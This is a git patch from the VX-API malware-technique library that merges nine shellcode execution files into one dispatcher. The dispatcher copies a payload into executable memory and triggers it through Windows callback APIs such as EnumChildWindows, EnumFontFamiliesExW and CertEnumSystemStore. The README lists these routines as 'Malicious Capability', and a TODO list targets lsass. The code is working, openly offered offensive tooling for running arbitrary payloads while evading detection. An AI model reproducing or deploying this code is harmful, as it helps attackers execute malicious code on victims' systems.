From 25e642ed13abada39202102c8a3dcaec0022c62d Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Thu, 27 Oct 2022 08:11:59 -0500 Subject: [PATCH] cleaned up code clean up and merge --- README.md | 13 +- VX-API/Main.cpp | 6 +- ...ShellcodeExecViaCDefFolderMenu_Create2.cpp | 46 ----- .../ShellcodeExecViaCertEnumSystemStore.cpp | 44 ----- ...codeExecViaCertEnumSystemStoreLocation.cpp | 45 ----- .../ShellcodeExecViaCertFindChainInStore.cpp | 58 ------ VX-API/ShellcodeExecViaEnumChildWindows.cpp | 31 --- VX-API/ShellcodeExecViaEnumDateFormatsW.cpp | 31 --- VX-API/ShellcodeExecViaEnumDesktopWindows.cpp | 31 --- VX-API/ShellcodeExecViaEnumDesktopsW.cpp | 31 --- VX-API/ShellcodeExecViaEnumDirTreeW.cpp | 55 ------ ...llcodeExecutionViaFunctionCallbackMain.cpp | 183 ++++++++++++++++++ VX-API/VX-API.vcxproj | 10 +- VX-API/VX-API.vcxproj.filters | 33 +--- VX-API/Win32Helper.h | 73 +++++-- 15 files changed, 248 insertions(+), 442 deletions(-) delete mode 100644 VX-API/ShellcodeExecViaCDefFolderMenu_Create2.cpp delete mode 100644 VX-API/ShellcodeExecViaCertEnumSystemStore.cpp delete mode 100644 VX-API/ShellcodeExecViaCertEnumSystemStoreLocation.cpp delete mode 100644 VX-API/ShellcodeExecViaCertFindChainInStore.cpp delete mode 100644 VX-API/ShellcodeExecViaEnumChildWindows.cpp delete mode 100644 VX-API/ShellcodeExecViaEnumDateFormatsW.cpp delete mode 100644 VX-API/ShellcodeExecViaEnumDesktopWindows.cpp delete mode 100644 VX-API/ShellcodeExecViaEnumDesktopsW.cpp delete mode 100644 VX-API/ShellcodeExecViaEnumDirTreeW.cpp create mode 100644 VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp diff --git a/README.md b/README.md index a15240e..1e04f2c 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter] # VX-API -Version: 2.0.270 +Version: 2.0.285 Developer: smelly__vx @@ -132,21 +132,12 @@ You're free to use this in any manner you please. You do not need to use this en | MpfGetLsaPidFromServiceManager | modexp | Malicious Capability | | MpfGetLsaPidFromRegistry | modexp | Malicious Capability | | MpfGetLsaPidFromNamedPipe | modexp | Malicious Capability | -| ShellcodeExecViaCertEnumSystemStore | alfarom256 and aahmad097| Malicious Capability | -| ShellcodeExecViaCDefFolderMenu_Create2 | alfarom256 and aahmad097| Malicious Capability | -| ShellcodeExecViaCertEnumSystemStoreLocation | alfarom256 and aahmad097| Malicious Capability | -| ShellcodeExecViaCertFindChainInStore | alfarom256 and aahmad097| Malicious Capability | -| ShellcodeExecViaEnumChildWindows | alfarom256 and aahmad097| Malicious Capability | -| ShellcodeExecViaEnumDateFormatsW | alfarom256 and aahmad097| Malicious Capability | -| ShellcodeExecViaEnumDesktopsW | alfarom256 and aahmad097| Malicious Capability | -| ShellcodeExecViaEnumDesktopWindows | alfarom256 and aahmad097| Malicious Capability | -| ShellcodeExecViaEnumDirTreeW | alfarom256 and aahmad097| Malicious Capability | +| ShellcodeExecutionViaFunctionCallbackMain | smelly__vx, alfarom256 and aahmad097| Malicious Capability | # Todo list | Functionality | Author | Note | | ------------- | ------ | ---- | -| EvtQuery | modexp | Security Event Log | | NtMapViewOfSection lsass | modexp | NtMapViewOfSection | | IcmpSendEcho | N/A | Sync PING | | IcmpSendEcho2Ex | N/A | Async PING w/ APC | diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index ce2c15c..7c471c8 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -7,7 +7,6 @@ /* TODO: - Ping with 'IcmpSendEcho2Ex' - - PID stuff: https://www.mdsec.co.uk/2022/08/fourteen-ways-to-read-the-pid-for-the-local-security-authority-subsystem-service-lsass/ - Run PE in memory https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Executing%20a%20PE%20File%20in%20Memory.zip - Download file options: https://www.x86matthew.com/view_post?id=ntsockets - https://learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-shansitounicode @@ -46,10 +45,11 @@ int main(VOID) SHELLCODE_EXECUTION_INFORMATION Sei = { 0 }; Sei.Payload = GlobalOpenCalcPayload; Sei.dwLengthOfPayloadInBytes = 277; + Sei.MethodEnum = E_ENUMFONTFAMILIESEXW; - //ShellcodeExecViaEnumDirTreeW(&Sei); + ShellcodeExecutionViaFunctionCallbackMain(&Sei); - dwError = MpfGetLsaPidFromNamedPipe(); + return dwError; } diff --git a/VX-API/ShellcodeExecViaCDefFolderMenu_Create2.cpp b/VX-API/ShellcodeExecViaCDefFolderMenu_Create2.cpp deleted file mode 100644 index cfc4768..0000000 --- a/VX-API/ShellcodeExecViaCDefFolderMenu_Create2.cpp +++ /dev/null @@ -1,46 +0,0 @@ -#include "Win32Helper.h" - -DWORD UnusedSubroutineDisposeableThreadCDefFolderMenu_Create2(LPVOID Param) -{ - PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; - CDEFFOLDERMENU_CREATE2 CDefFolderMenu_Create2 = NULL; - LPVOID BinAddress = NULL; - HMODULE hModule = NULL; - BOOL bFlag = FALSE; - PVOID ContextMenuRequired = NULL; - - hModule = TryLoadDllMultiMethodW((PWCHAR)L"Shell32.dll"); - if (!hModule) - goto EXIT_ROUTINE; - - CDefFolderMenu_Create2 = (CDEFFOLDERMENU_CREATE2)GetProcAddressA((DWORD64)hModule, "CDefFolderMenu_Create2"); - if (!CDefFolderMenu_Create2) - goto EXIT_ROUTINE; - - BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (BinAddress == NULL) - goto EXIT_ROUTINE; - - CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); - - if (!SUCCEEDED(CDefFolderMenu_Create2(NULL, NULL, 0, NULL, NULL, BinAddress, 0, NULL, &ContextMenuRequired))) - goto EXIT_ROUTINE; - - bFlag = TRUE; - -EXIT_ROUTINE: - - if (hModule) - FreeLibrary(hModule); - - if (BinAddress) - VirtualFree(BinAddress, 0, MEM_RELEASE); - - return (bFlag ? 0 : 0xffffffff); -} - - -BOOL ShellcodeExecViaCDefFolderMenu_Create2(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) -{ - return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCDefFolderMenu_Create2, Sei, INFINITE); -} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaCertEnumSystemStore.cpp b/VX-API/ShellcodeExecViaCertEnumSystemStore.cpp deleted file mode 100644 index 3254a03..0000000 --- a/VX-API/ShellcodeExecViaCertEnumSystemStore.cpp +++ /dev/null @@ -1,44 +0,0 @@ -#include "Win32Helper.h" - -DWORD UnusedSubroutineDisposeableThreadCertEnumSystemStore(LPVOID Param) -{ - PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; - CERTENUMSYSTEMSTORE pCertEnumSystemStore = NULL; - LPVOID BinAddress = NULL; - HMODULE hModule = NULL; - BOOL bFlag = FALSE; - - hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll"); - if (!hModule) - goto EXIT_ROUTINE; - - pCertEnumSystemStore = (CERTENUMSYSTEMSTORE)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStore"); - if (!pCertEnumSystemStore) - goto EXIT_ROUTINE; - - BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (BinAddress == NULL) - goto EXIT_ROUTINE; - - CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); - - if (!pCertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress)) - goto EXIT_ROUTINE; - - bFlag = TRUE; - -EXIT_ROUTINE: - - if (hModule) - FreeLibrary(hModule); - - if (BinAddress) - VirtualFree(BinAddress, 0, MEM_RELEASE); - - return (bFlag ? 0 : 0xffffffff); -} - -BOOL ShellcodeExecViaCertEnumSystemStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) -{ - return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertEnumSystemStore, Sei, INFINITE); -} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaCertEnumSystemStoreLocation.cpp b/VX-API/ShellcodeExecViaCertEnumSystemStoreLocation.cpp deleted file mode 100644 index b027e77..0000000 --- a/VX-API/ShellcodeExecViaCertEnumSystemStoreLocation.cpp +++ /dev/null @@ -1,45 +0,0 @@ -#include "Win32Helper.h" - -DWORD UnusedSubroutineDisposeableThreadCertEnumSystemStoreLocation(LPVOID Param) -{ - PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; - CERTENUMSYSTEMSTORELOCATION pCertEnumSystemStoreLocation = NULL; - LPVOID BinAddress = NULL; - HMODULE hModule = NULL; - BOOL bFlag = FALSE; - - hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll"); - if (!hModule) - goto EXIT_ROUTINE; - - pCertEnumSystemStoreLocation = (CERTENUMSYSTEMSTORELOCATION)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStoreLocation"); - if (!pCertEnumSystemStoreLocation) - goto EXIT_ROUTINE; - - BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (BinAddress == NULL) - goto EXIT_ROUTINE; - - CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); - - if (!pCertEnumSystemStoreLocation(NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)BinAddress)) - goto EXIT_ROUTINE; - - bFlag = TRUE; - -EXIT_ROUTINE: - - if (hModule) - FreeLibrary(hModule); - - if (BinAddress) - VirtualFree(BinAddress, 0, MEM_RELEASE); - - return (bFlag ? 0 : 0xffffffff); -} - - -BOOL ShellcodeExecViaCertEnumSystemStoreLocation(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) -{ - return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertEnumSystemStoreLocation, Sei, INFINITE); -} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaCertFindChainInStore.cpp b/VX-API/ShellcodeExecViaCertFindChainInStore.cpp deleted file mode 100644 index adb1470..0000000 --- a/VX-API/ShellcodeExecViaCertFindChainInStore.cpp +++ /dev/null @@ -1,58 +0,0 @@ -#include "Win32Helper.h" - -DWORD UnusedSubroutineDisposeableThreadCertFindChainInStore(LPVOID Param) -{ - PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; - LPVOID BinAddress = NULL; - HMODULE hModule = NULL; - BOOL bFlag = FALSE; - CERTOPENSTORE CertOpenStore = NULL;; - HCERTSTORE hCertStore = NULL; - CERTFINDCHAININSTORE CertFindChainInStore = NULL;; - CERTCLOSESTORE CertCloseStore = NULL;; - CERT_CHAIN_FIND_ISSUER_PARA ChainFind = { 0 }; - - hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll"); - if (!hModule) - goto EXIT_ROUTINE; - - CertOpenStore = (CERTOPENSTORE)GetProcAddressA((DWORD64)hModule, "CertOpenStore"); - CertFindChainInStore = (CERTFINDCHAININSTORE)GetProcAddressA((DWORD64)hModule, "CertFindChainInStore"); - CertCloseStore = (CERTCLOSESTORE)GetProcAddressA((DWORD64)hModule, "CertCloseStore"); - - if (!CertOpenStore || !CertFindChainInStore || !CertCloseStore) - goto EXIT_ROUTINE; - - BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (BinAddress == NULL) - goto EXIT_ROUTINE; - - CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); - - hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER, (PVOID)L"My"); - if (hCertStore == NULL) - goto EXIT_ROUTINE; - - ChainFind.pfnFindCallback = (PFN_CERT_CHAIN_FIND_BY_ISSUER_CALLBACK)BinAddress; - ChainFind.cbSize = sizeof(CERT_CHAIN_FIND_BY_ISSUER_PARA); - - CertFindChainInStore(hCertStore, X509_ASN_ENCODING, 0, CERT_CHAIN_FIND_BY_ISSUER, &ChainFind, NULL); - - bFlag = TRUE; - -EXIT_ROUTINE: - - if (hModule) - FreeLibrary(hModule); - - if (BinAddress) - VirtualFree(BinAddress, 0, MEM_RELEASE); - - return (bFlag ? 0 : 0xffffffff); -} - - -BOOL _unstable__ShellcodeExecViaCertFindChainInStore(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) -{ - return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadCertFindChainInStore, Sei, INFINITE); -} diff --git a/VX-API/ShellcodeExecViaEnumChildWindows.cpp b/VX-API/ShellcodeExecViaEnumChildWindows.cpp deleted file mode 100644 index 23c4a41..0000000 --- a/VX-API/ShellcodeExecViaEnumChildWindows.cpp +++ /dev/null @@ -1,31 +0,0 @@ -#include "Win32Helper.h" - -DWORD UnusedSubroutineDisposeableThreadEnumChildWindows(LPVOID Param) -{ - PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; - LPVOID BinAddress = NULL; - BOOL bFlag = FALSE; - - BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (BinAddress == NULL) - goto EXIT_ROUTINE; - - CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); - - EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL); - - bFlag = TRUE; - -EXIT_ROUTINE: - - if (BinAddress) - VirtualFree(BinAddress, 0, MEM_RELEASE); - - return (bFlag ? 0 : 0xffffffff); -} - - -BOOL ShellcodeExecViaEnumChildWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) -{ - return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumChildWindows, Sei, INFINITE); -} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaEnumDateFormatsW.cpp b/VX-API/ShellcodeExecViaEnumDateFormatsW.cpp deleted file mode 100644 index 4472029..0000000 --- a/VX-API/ShellcodeExecViaEnumDateFormatsW.cpp +++ /dev/null @@ -1,31 +0,0 @@ -#include "Win32Helper.h" - -DWORD UnusedSubroutineDisposeableThreadEnumDateFormatsW(LPVOID Param) -{ - PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; - LPVOID BinAddress = NULL; - BOOL bFlag = FALSE; - - BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (BinAddress == NULL) - goto EXIT_ROUTINE; - - CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); - - EnumDateFormatsW((DATEFMT_ENUMPROCW)BinAddress, LOCALE_SYSTEM_DEFAULT, 0); - - bFlag = TRUE; - -EXIT_ROUTINE: - - if (BinAddress) - VirtualFree(BinAddress, 0, MEM_RELEASE); - - return (bFlag ? 0 : 0xffffffff); -} - - -BOOL ShellcodeExecViaEnumDateFormatsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) -{ - return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDateFormatsW, Sei, INFINITE); -} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaEnumDesktopWindows.cpp b/VX-API/ShellcodeExecViaEnumDesktopWindows.cpp deleted file mode 100644 index e2469df..0000000 --- a/VX-API/ShellcodeExecViaEnumDesktopWindows.cpp +++ /dev/null @@ -1,31 +0,0 @@ -#include "Win32Helper.h" - -DWORD UnusedSubroutineDisposeableThreadEnumDesktopWindows(LPVOID Param) -{ - PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; - LPVOID BinAddress = NULL; - BOOL bFlag = FALSE; - - BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (BinAddress == NULL) - goto EXIT_ROUTINE; - - CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); - - EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)BinAddress, NULL); - - bFlag = TRUE; - -EXIT_ROUTINE: - - if (BinAddress) - VirtualFree(BinAddress, 0, MEM_RELEASE); - - return (bFlag ? 0 : 0xffffffff); -} - - -BOOL ShellcodeExecViaEnumDesktopWindows(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) -{ - return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDesktopWindows, Sei, INFINITE); -} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaEnumDesktopsW.cpp b/VX-API/ShellcodeExecViaEnumDesktopsW.cpp deleted file mode 100644 index d10eca9..0000000 --- a/VX-API/ShellcodeExecViaEnumDesktopsW.cpp +++ /dev/null @@ -1,31 +0,0 @@ -#include "Win32Helper.h" - -DWORD UnusedSubroutineDisposeableThreadEnumDesktopsW(LPVOID Param) -{ - PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; - LPVOID BinAddress = NULL; - BOOL bFlag = FALSE; - - BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (BinAddress == NULL) - goto EXIT_ROUTINE; - - CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); - - EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL); - - bFlag = TRUE; - -EXIT_ROUTINE: - - if (BinAddress) - VirtualFree(BinAddress, 0, MEM_RELEASE); - - return (bFlag ? 0 : 0xffffffff); -} - - -BOOL ShellcodeExecViaEnumDesktopsW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) -{ - return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDesktopsW, Sei, INFINITE); -} \ No newline at end of file diff --git a/VX-API/ShellcodeExecViaEnumDirTreeW.cpp b/VX-API/ShellcodeExecViaEnumDirTreeW.cpp deleted file mode 100644 index f00a362..0000000 --- a/VX-API/ShellcodeExecViaEnumDirTreeW.cpp +++ /dev/null @@ -1,55 +0,0 @@ -#include "Win32Helper.h" - -DWORD UnusedSubroutineDisposeableThreadEnumDirTreeW(LPVOID Param) -{ - PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; - SYMINITIALIZEW SymInitialize = NULL; - SYMCLEANUP SymCleanup = NULL; - ENUMDIRTREEW EnumDirTree = NULL; - LPVOID BinAddress = NULL; - BOOL bFlag = FALSE; - HMODULE hModule = NULL; - WCHAR DisposeableBuffer[512] = { 0 }; - - hModule = TryLoadDllMultiMethodW((PWCHAR)L"dbghelp.dll"); - if (hModule == NULL) - goto EXIT_ROUTINE; - - SymInitialize = (SYMINITIALIZEW)GetProcAddressA((DWORD64)hModule, "SymInitializeW"); - SymCleanup = (SYMCLEANUP)GetProcAddressA((DWORD64)hModule, "SymCleanup"); - EnumDirTree = (ENUMDIRTREEW)GetProcAddressA((DWORD64)hModule, "EnumDirTreeW"); - - if (!SymInitialize || !SymCleanup || !EnumDirTree) - goto EXIT_ROUTINE; - - if (!SymInitialize(InlineGetCurrentProcess, NULL, TRUE)) - goto EXIT_ROUTINE; - - BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (BinAddress == NULL) - goto EXIT_ROUTINE; - - CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); - - EnumDirTree(InlineGetCurrentProcess, L"C:\\Windows", L"*.log", DisposeableBuffer, BinAddress, NULL); - - SymCleanup(InlineGetCurrentProcess); - - bFlag = TRUE; - -EXIT_ROUTINE: - - if (hModule) - FreeLibrary(hModule); - - if (BinAddress) - VirtualFree(BinAddress, 0, MEM_RELEASE); - - return (bFlag ? 0 : 0xffffffff); -} - - -BOOL ShellcodeExecViaEnumDirTreeW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) -{ - return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDirTreeW, Sei, INFINITE); -} \ No newline at end of file diff --git a/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp new file mode 100644 index 0000000..bdc1747 --- /dev/null +++ b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp @@ -0,0 +1,183 @@ +#include "Win32Helper.h" + +DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) +{ + PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param; + LPVOID BinAddress = NULL; + BOOL bFlag = FALSE; + HMODULE hModule = NULL; + + BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (BinAddress == NULL) + goto EXIT_ROUTINE; + + CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes); + + switch (Sei->MethodEnum) + { + case E_CDEFFOLDERMENU_CREATE2: + { + CDEFFOLDERMENU_CREATE2 CDefFolderMenu_Create2 = NULL; + PVOID ContextMenuRequired = NULL; + + hModule = TryLoadDllMultiMethodW((PWCHAR)L"Shell32.dll"); + if (!hModule) + goto EXIT_ROUTINE; + + CDefFolderMenu_Create2 = (CDEFFOLDERMENU_CREATE2)GetProcAddressA((DWORD64)hModule, "CDefFolderMenu_Create2"); + if (!CDefFolderMenu_Create2) + goto EXIT_ROUTINE; + + if (!SUCCEEDED(CDefFolderMenu_Create2(NULL, NULL, 0, NULL, NULL, BinAddress, 0, NULL, &ContextMenuRequired))) + goto EXIT_ROUTINE; + + break; + } + + case E_CERTENUMSYSTEMSTORE: + { + CERTENUMSYSTEMSTORE CertEnumSystemStore = NULL; + + hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll"); + if (!hModule) + goto EXIT_ROUTINE; + + CertEnumSystemStore = (CERTENUMSYSTEMSTORE)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStore"); + if (!CertEnumSystemStore) + goto EXIT_ROUTINE; + + if (!CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress)) + goto EXIT_ROUTINE; + + break; + } + + case E_CERTENUMSYSTEMSTORELOCATION: + { + CERTENUMSYSTEMSTORELOCATION CertEnumSystemStoreLocation = NULL; + + hModule = TryLoadDllMultiMethodW((PWCHAR)L"Crypt32.dll"); + if (!hModule) + goto EXIT_ROUTINE; + + CertEnumSystemStoreLocation = (CERTENUMSYSTEMSTORELOCATION)GetProcAddressA((DWORD64)hModule, "CertEnumSystemStoreLocation"); + if (!CertEnumSystemStoreLocation) + goto EXIT_ROUTINE; + + if (CertEnumSystemStoreLocation(NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)BinAddress)) + goto EXIT_ROUTINE; + + break; + } + + case E_CERTFINDCHAININSTORE: + { + goto EXIT_ROUTINE; + } + + case E_ENUMCHILDWINDOWS: + { + if (!EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL)) + goto EXIT_ROUTINE; + + break; + } + + case E_ENUMDATEFORMATSW: + { + if (!EnumDateFormatsW((DATEFMT_ENUMPROCW)BinAddress, LOCALE_SYSTEM_DEFAULT, 0)) + goto EXIT_ROUTINE; + + break; + } + + case E_ENUMDESKTOPWINDOWS: + { + if (!EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)BinAddress, NULL)) + goto EXIT_ROUTINE; + + break; + } + + case E_ENUMDESKTOPSW: + { + if (!EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL)) + goto EXIT_ROUTINE; + + break; + } + + case E_ENUMDIRTREEW: + { + SYMINITIALIZEW SymInitialize = NULL; + SYMCLEANUP SymCleanup = NULL; + ENUMDIRTREEW EnumDirTree = NULL; + WCHAR DisposeableBuffer[512] = { 0 }; + + hModule = TryLoadDllMultiMethodW((PWCHAR)L"dbghelp.dll"); + if (hModule == NULL) + goto EXIT_ROUTINE; + + SymInitialize = (SYMINITIALIZEW)GetProcAddressA((DWORD64)hModule, "SymInitializeW"); + SymCleanup = (SYMCLEANUP)GetProcAddressA((DWORD64)hModule, "SymCleanup"); + EnumDirTree = (ENUMDIRTREEW)GetProcAddressA((DWORD64)hModule, "EnumDirTreeW"); + + if (!SymInitialize || !SymCleanup || !EnumDirTree) + goto EXIT_ROUTINE; + + if (!SymInitialize(InlineGetCurrentProcess, NULL, TRUE)) + goto EXIT_ROUTINE; + + EnumDirTree(InlineGetCurrentProcess, L"C:\\Windows", L"*.log", DisposeableBuffer, BinAddress, NULL); + + SymCleanup(InlineGetCurrentProcess); + + break; + } + + case E_ENUMDISPLAYMONITORS: + { + if (!EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)BinAddress, NULL)) + goto EXIT_ROUTINE; + + break; + } + + case E_ENUMFONTFAMILIESEXW: + { + LOGFONTW Font = { 0 }; + HDC Dc = NULL; + + Font.lfCharSet = DEFAULT_CHARSET; + Dc = GetDC(NULL); + if (Dc == NULL) + goto EXIT_ROUTINE; + + if (!EnumFontFamiliesExW(Dc, &Font, (FONTENUMPROCW)BinAddress, NULL, NULL)) + goto EXIT_ROUTINE; + + break; + } + + default: + goto EXIT_ROUTINE; + + } + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (hModule) + FreeLibrary(hModule); + + if (BinAddress) + VirtualFree(BinAddress, 0, MEM_RELEASE); + + return (bFlag ? 0 : 0xffffffff); +} + +BOOL ShellcodeExecutionViaFunctionCallbackMain(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei) +{ + return CreateThreadAndWaitForCompletion(ShellcodeExecutionDispatchHandler, Sei, INFINITE); +} \ No newline at end of file diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index 6b30f88..3ca6453 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -223,15 +223,7 @@ - - - - - - - - - + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index 19974b6..0ffb75e 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -52,9 +52,6 @@ {5c518d5a-a7b5-448a-8872-577693d1ccca} - - {aa395805-0d12-4167-b761-9e5a6a14b2df} - @@ -384,39 +381,15 @@ Source Files\Windows API Helper Functions\Fingerprinting - - Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback - Source Files\Windows API Helper Functions\Helper Functions - - Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback - - - Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback - - - Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback - - - Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback - - - Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback - - - Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback - - - Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback - - - Source Files\Windows API Helper Functions\Malicious Capabilities\Shellcode Execution from Callback - Source Files\Windows API Helper Functions\Malicious Capabilities + + Source Files\Windows API Helper Functions\Malicious Capabilities + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index 8871584..e40ec48 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -25,15 +25,35 @@ Sei.Payload = Shellcode; Sei.dwLengthOfPayloadInBytes = 280 //whatever the length is + MethodEnum flag must be one of the values in the SHELLCODE_EXECUTION_METHOD enum + each enum indicates which win32 function to use for shellcode execution + */ + +typedef enum SHELLCODE_EXECUTION_METHOD { + E_CDEFFOLDERMENU_CREATE2 = 1, + E_CERTENUMSYSTEMSTORE, //2 + E_CERTENUMSYSTEMSTORELOCATION, //3 + E_CERTFINDCHAININSTORE, //4 NOT IMPLEMENTED! + E_ENUMCHILDWINDOWS, //5 + E_ENUMDATEFORMATSW, //6 + E_ENUMDESKTOPWINDOWS, //7 + E_ENUMDESKTOPSW, //8 + E_ENUMDIRTREEW, //9 + E_ENUMDISPLAYMONITORS, //10 + E_ENUMFONTFAMILIESEXW //11 +}SHELLCODE_EXECUTION_METHOD, *PSHELLCODE_EXECUTION_METHOD; typedef struct __SHELLCODE_EXECUTION_INFORMATION { LPBYTE Payload; DWORD dwLengthOfPayloadInBytes; + DWORD MethodEnum; }SHELLCODE_EXECUTION_INFORMATION, * PSHELLCODE_EXECUTION_INFORMATION; -//error handling +/******************************************* + ERROR HANDLING +*******************************************/ DWORD 